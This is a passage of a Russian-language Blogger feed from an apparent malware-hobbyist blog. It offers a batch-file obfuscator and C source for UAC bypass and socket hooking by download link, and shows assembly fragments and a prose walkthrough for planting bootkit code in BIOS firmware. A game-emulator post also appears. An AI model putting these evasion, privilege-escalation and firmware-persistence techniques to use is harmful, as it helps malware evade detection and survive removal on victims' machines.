качнуть мона тут: &lt;a href=&quot;http://splashed.ucoz.ru/SBO.rar&quot;&gt;http://splashed.ucoz.ru/SBO.rar&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Поддерживаются (но не обфусцируются, в виду просто невозможности это сделать) следующие символы(возможно использовать бат-сценарии)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;пробел, . - = : #39 (кавычка одинарная) / \ [ ] * &amp;gt;&amp;lt; @ % 1234567890 + ~&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
не отрицается наличие каких то тупорылых ошибок, хз толком не проверял, пару-тройку батников работали.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Поддерживается только нижний регистр (этого должно хватить)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFYwfnYnptamAmuJcqz5Gsxai_dcxHsKDRJ7I3-BVTruK7YDmeoZtbHyvZzHTiN5z5fc5pYb6rmC_nbVT_k-XlgCDaj3FpKB21SdlTM3qqPDG0dJkmZz1-VpcH0LUcBu-w9Q3STQnT2Caa/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.bmp&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFYwfnYnptamAmuJcqz5Gsxai_dcxHsKDRJ7I3-BVTruK7YDmeoZtbHyvZzHTiN5z5fc5pYb6rmC_nbVT_k-XlgCDaj3FpKB21SdlTM3qqPDG0dJkmZz1-VpcH0LUcBu-w9Q3STQnT2Caa/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.bmp&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
интерфейс драг и дроп) просто для ленивых) в папке с прогой создастся crypted.bat&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;исходники?-да кому они нужны)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Споки ноки)))&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Купил себе эту малютку))&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_sgqoRJFAfC7tD1MdsuJ8fGtMPgXR1WxkLZM01CiZU7UTn86nU1uVo22zBoVl3V51SJzcycejcdq37ubZev41cuxoek3hXIicOz9lqEcpuTvQzLqYg44APdY7pQ01FGKmsjMkiyjSMcGa/s1600/IMG_20140223_011832.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_sgqoRJFAfC7tD1MdsuJ8fGtMPgXR1WxkLZM01CiZU7UTn86nU1uVo22zBoVl3V51SJzcycejcdq37ubZev41cuxoek3hXIicOz9lqEcpuTvQzLqYg44APdY7pQ01FGKmsjMkiyjSMcGa/s1600/IMG_20140223_011832.jpg&quot; height=&quot;240&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; color: white;&quot;&gt;hash tags: bat obfuscator, шифровать батник, спрятать батник, шифровальщик батников batch obfuscator download&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/7328731128205053217/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2014/02/batch-obfuscator.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/7328731128205053217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/7328731128205053217'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2014/02/batch-obfuscator.html' title='batch obfuscator\ шифрование батников.'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiiwQUZoqX1DrxdWpwZNii7kuLN9EKvSScHl1HRrlfuPUf0xb5pVWgiPr9zHTX2oh_W_leJF2jeNTRq9Cb9o_0f5iXZeofQhbg3U_Drx1_UNuEGlGDqIVNjd9XBDGIUcXK0FtXqpcjy21L/s72-c/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-5972743996930138825</id><published>2014-01-31T22:55:00.001+02:00</published><updated>2014-01-31T23:20:50.422+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Assembler"/><category scheme="http://www.blogger.com/atom/ns#" term="Видео"/><title type='text'>Концепция &quot;неизлечимости&quot; или bios троян </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
О том чем грозит данный вид ПО даже не хочется говорить.Несомненно, реализация и более того,осмысленность данного ПО спорная и сложная.Как нам всем известно, биосы бывают разные, АМИ,ФЕНИКСЫ и все такое прочее(хотя по статистике больше всего конечно фениксов).Но скажу что это возможно!Более того у меня получилось разместить известный буткит-фрэймворк в виртуальном биосе vmware!Что можно сделать на виртуалке то можно сделать и на реальной машине.Поебаться мне пришлось нехило, а т.е. немного модифицировать сей фреймворк таким вот кодесом:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov di, 6000h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov cx, 0fffh&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;add si,110000b&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;rep movsw&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
копируемся где-то в области bios&lt;br /&gt;
&lt;br /&gt;
проверяем, включены ли уже прерывания&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;cmp byte [19h*4],0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
если все ок запускаем код,который был потерт прыжком&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov bx, es &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov fs, bx&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ds, ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;retf&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
дальше все по-дефолту&lt;br /&gt;
откусываем память в low bios memory&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov [ax,413h]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;sub ax,6&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
переводим в параграфы&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov [413h],ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;shl ax,6&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
перехватываем прерывание и т.д. то что в фрэймворке.&lt;br /&gt;
&lt;br /&gt;
когда переходим в защищенный режим,(тут я удалил все ненужное для наглядности и сделал вывод напрямую в видеобуфер)&lt;br /&gt;
выводим в видеобуфер посимвольно&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov &amp;nbsp; &amp;nbsp; word [ds:0B8000h], 0250h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
в итоге смотрим что получилось в данном видео:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;/div&gt;
&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;270&quot; src=&quot;//www.youtube.com/embed/pzjkxh9yJ70&quot; width=&quot;480&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
Итог: конечно, возможность заразы была всегда, вспомним тот же cih. Однако, реализовывать это для полномасштабного проекта во-первых глупо,во-вторых очень тяжело(правильно поставить вперед;))&lt;br /&gt;
&lt;br /&gt;
Хотя я видел одну интересную штуку:&lt;br /&gt;
В дропере идет драйвер устройства bios, драйвер руткит(прошивка ,полагаю возможна стандартными утилитами,а их надо ныкать это естественно), зараженный модуль( допустим такой какой я сделал),длл-ка для контроля драйвера,и то что работает с образами bios (смотря на какой биос нацелен троян, чаще всего это phoenix award и утилита cbrom)&lt;br /&gt;
Некоторые ебанутые дроперы используют свою шифрованную файловую систему за пределами размеченной области жд(это?!ппц) куда и сбрасывают все что несут в себе.&lt;br /&gt;
Потом читается bios и определяется его размер.Создается образ биоса на жд.Потом зараженный модуль вносится в этот образ,после чего образ жгется в МС.&lt;br /&gt;
Биос определяется по сигнатуре, например в фениксах в комплекте идет свой прошивальщик который и можно найти по его имени.&lt;br /&gt;
&lt;br /&gt;
В общем то штука довольно опасная, тк убрать ее при наличии буткита или руткита режима ядра-не получится.&lt;br /&gt;
&lt;br /&gt;
Да что еще хочу подчеркнуть, механизм буткитов которые опубликованы на мой взгляд не объективен.Во-первых та же windows 7 загружается уже вообще иначе чем ХРюха, а это уже продумывать как минимум два варианта.Надо идеально знать процесс загрузки операционной системы и все такое.Малейший сервиспак\обновление которые уничтожат сигнатуры которыми пользуется буткит,либо вообще принципиально изменят что то-он будет не рабочим.&lt;br /&gt;
Я читал и думал об отличном варианте.Ищется определенный exe-шник путем перебора сектора (сигнатура mz), и внедряется код в его заголовок.Почему в заголовок: да потому что в винде есть такая фишка как фрагментация и файл может быть не целым.Как варианта можно составить небольшой парсер файловой системы и таким образом наверняка внедряться в нужный файл.На этом все, я пошел пить пиво;)&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/5972743996930138825/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2014/01/bios.html#comment-form' title='Комментарии: 7'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/5972743996930138825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/5972743996930138825'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2014/01/bios.html' title='Концепция &quot;неизлечимости&quot; или bios троян '/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-7335111496587356830</id><published>2014-01-31T17:29:00.000+02:00</published><updated>2014-01-31T17:29:15.606+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Заметки"/><title type='text'>Resident evil zero - эмуляция.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Отдыхай играя.Или что то вроде того.&lt;br /&gt;
На самом деле не являюсь сторонником задротства и онлайн игр, но иногда, от делать нефиг бывает играю.Играю в более интересные игры, не считая тупой стрельбы как quake или doom( и т.д. и т.п.),в продолжение того что захватило меня в детстве когда я имел playstation и playstation2, а на компе мощнее старкрафта ничего не шло).&lt;br /&gt;
&lt;br /&gt;
В итоге прошел всю серию doom, quake, splinter cell, почти все metal gear solid, и resident evil. Это одна из моих любимейших вещей.И вот наткнулся я короче на resident evil remake- переделка первого РЕ на современный мотив и resident evil zero- которая, по-сути является приквелом первого РЕ и рассказывает всю историю с самого начала.Одна беда, это игры для gamecube,wii.&lt;br /&gt;
Со своим не слишком крутым железом на данный момент, почему то игра оооочень медленно шла на dolphin-e , порядком 20 кадров,а на загруженных локациях итого меньше.&lt;br /&gt;
&lt;br /&gt;
Но мне удалось найти и сконфигурировать одну версию dolphin и теперь игруха идет плавно, провисания FPS незначительны и редки.Тут выложу конфигурацию.&lt;br /&gt;
&lt;br /&gt;
Почитать об игре можно тут:&amp;nbsp;&lt;a href=&quot;http://ru.wikipedia.org/wiki/Resident_Evil_Zero&quot;&gt;http://ru.wikipedia.org/wiki/Resident_Evil_Zero&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Мое железо:&lt;br /&gt;
core2quad q6600 2.4 GHz&lt;br /&gt;
nvidia ge force GTS 250 512mb 256 битная шина.&lt;br /&gt;
4gb DDR 3 1333MHz&lt;br /&gt;
windows 7 x64bit.&lt;br /&gt;
&lt;br /&gt;
требуемые эмулятор:&lt;br /&gt;
dolphin 3.0-307&lt;br /&gt;
&lt;br /&gt;
конфиг(разрешения видео устанавливайте на свое усмотрение):&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirMbkNvuW4bJEl55cPel8C9ullddWViRkVh5xsUaIl0uZYGQXp_FSyNaD8o4jrse-mkkVMKbYlpwtZ-7bHjTAaUXDV7X_oenWra7MUjrHCwiVohCJme4DcC5oQ0HRrY_JYl_8D858CDBr9/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirMbkNvuW4bJEl55cPel8C9ullddWViRkVh5xsUaIl0uZYGQXp_FSyNaD8o4jrse-mkkVMKbYlpwtZ-7bHjTAaUXDV7X_oenWra7MUjrHCwiVohCJme4DcC5oQ0HRrY_JYl_8D858CDBr9/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92.jpg&quot; height=&quot;320&quot; width=&quot;253&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI_LuScJKmwa2eVj6S8mI82EZhXxsCg5BybbpJyINpGvZpdnacjwC0Gl_JWBtJifCQZY-Oi-akzo68468rK5FL25vH1u33lTlJ7RceDMIPCg5d4SU7U505WTBt-9KIYemOC4WqYASTZS8T/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B93.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI_LuScJKmwa2eVj6S8mI82EZhXxsCg5BybbpJyINpGvZpdnacjwC0Gl_JWBtJifCQZY-Oi-akzo68468rK5FL25vH1u33lTlJ7RceDMIPCg5d4SU7U505WTBt-9KIYemOC4WqYASTZS8T/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B93.jpg&quot; height=&quot;315&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8BBBBv91wVx9Msxg7jHWXT77YxmwWaxBO_qdzqQtyQN5f1O9CREStVblohTih1Y8rHGRWpWOQZJZBYBgkaf2Sbj2TLZaDDYi44VJLTwdjBZkuTYw1ijkRe6Jw2rss1azr1Uimuc6g_4lA/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B94.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8BBBBv91wVx9Msxg7jHWXT77YxmwWaxBO_qdzqQtyQN5f1O9CREStVblohTih1Y8rHGRWpWOQZJZBYBgkaf2Sbj2TLZaDDYi44VJLTwdjBZkuTYw1ijkRe6Jw2rss1azr1Uimuc6g_4lA/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B94.jpg&quot; height=&quot;320&quot; width=&quot;263&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT8ke6_idGyKzjy0wTkCkUrYIORFctk5sX5Nj90L7y3-nbMTGBv2yi-dw2T6ijN2dtmJpsB3C1LVYIZN7MR8T0ISm9NlkjsJIAHhLzqtHo4IY6APEIC4PN3KfGoazSJXIKMRCc8HjDIqpL/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B95.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT8ke6_idGyKzjy0wTkCkUrYIORFctk5sX5Nj90L7y3-nbMTGBv2yi-dw2T6ijN2dtmJpsB3C1LVYIZN7MR8T0ISm9NlkjsJIAHhLzqtHo4IY6APEIC4PN3KfGoazSJXIKMRCc8HjDIqpL/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B95.jpg&quot; height=&quot;320&quot; width=&quot;264&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh21q8gMjzr-Ki3If1dHt1kL88hnk1gv-E_6goQ62YB5-0sXs2wQOLpdsyG6_fRLBSQdV_jKpq5KY3a2R7Vroz5FW8qvzYLbIrqH420y5Y6M4AgRHAZefG9ZA2KBIdIhNYE9ungDj7SsF8a/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B96.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh21q8gMjzr-Ki3If1dHt1kL88hnk1gv-E_6goQ62YB5-0sXs2wQOLpdsyG6_fRLBSQdV_jKpq5KY3a2R7Vroz5FW8qvzYLbIrqH420y5Y6M4AgRHAZefG9ZA2KBIdIhNYE9ungDj7SsF8a/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B96.jpg&quot; height=&quot;320&quot; width=&quot;266&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0gZBUya-OxyldL5RIk0es8xW4WTaMujHAetxBVkmGIcEnjx4yyeLs6ixwc7GqpBTjlB5m3AjUchhEKhXJT20xOc8edKaDqZeyR9RPoXJhkBLj6lCkMAICDSa4J2SAEhxJHtxJp583QOV1/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0gZBUya-OxyldL5RIk0es8xW4WTaMujHAetxBVkmGIcEnjx4yyeLs6ixwc7GqpBTjlB5m3AjUchhEKhXJT20xOc8edKaDqZeyR9RPoXJhkBLj6lCkMAICDSa4J2SAEhxJHtxJp583QOV1/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; height=&quot;320&quot; width=&quot;266&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
скриншот игры&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIdrFfYTNTsMlhnbcLPzdyRzmDUo1OjmAWlPD6wqx2T4hbGMg8XlcAZ6HULob6a_L9OUYdLJnZU-MR-ylp7gieSL1haBb3JfVeJdcA4dFRLUEMrgSyStgIKnO5y46_aSYTgiYIJSpvX9qC/s1600/RBHE08-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIdrFfYTNTsMlhnbcLPzdyRzmDUo1OjmAWlPD6wqx2T4hbGMg8XlcAZ6HULob6a_L9OUYdLJnZU-MR-ylp7gieSL1haBb3JfVeJdcA4dFRLUEMrgSyStgIKnO5y46_aSYTgiYIJSpvX9qC/s1600/RBHE08-1.png&quot; height=&quot;180&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Всем приятной игры!&lt;br /&gt;
ps фанам RE- must have. игрушка-сила;)&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/7335111496587356830/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2014/01/resident-evil-zero.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/7335111496587356830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/7335111496587356830'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2014/01/resident-evil-zero.html' title='Resident evil zero - эмуляция.'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirMbkNvuW4bJEl55cPel8C9ullddWViRkVh5xsUaIl0uZYGQXp_FSyNaD8o4jrse-mkkVMKbYlpwtZ-7bHjTAaUXDV7X_oenWra7MUjrHCwiVohCJme4DcC5oQ0HRrY_JYl_8D858CDBr9/s72-c/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-4267589499368236597</id><published>2014-01-10T01:05:00.000+02:00</published><updated>2014-01-10T01:05:16.232+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C\DELPHI"/><title type='text'>Праздничные плюшки!</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Делюсь с вами штучками и рюшечками.&lt;br /&gt;
&lt;br /&gt;
1)Обход UAC (уже известным методом,для чего думаю понятно).&lt;br /&gt;
2)Хук сокетов(думаю тоже понятно для чего.Вообще способов применения уйма,но учитывая тематику данного блога,дам намек что это нужно что бы не юзать &lt;strike&gt;школометод&lt;/strike&gt; с hosts.инжектора ясен пень в комплекте нету)&lt;br /&gt;
&lt;br /&gt;
все написано на &quot;С&quot; с использованием разных библиотек(но наиболее популярных), для общего развития так-сказать)&lt;br /&gt;
&lt;br /&gt;
скачать сорцы тута:&amp;nbsp;&lt;a href=&quot;http://rghost.ru/55457645&quot; target=&quot;_blank&quot;&gt;source&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/4267589499368236597/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2014/01/blog-post_10.html#comment-form' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/4267589499368236597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/4267589499368236597'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2014/01/blog-post_10.html' title='Праздничные плюшки!'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-9057994383234161755</id><published>2014-01-05T03:21:00.002+02:00</published><updated>2014-01-05T03:21:38.616+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Assembler"/><title type='text'>Перехват прерываний.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Ну во-первых, всех с Новым Годом!) Как грится дивиз 2014 года- еб*сь оно все конем))&lt;br /&gt;
========================================================================&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
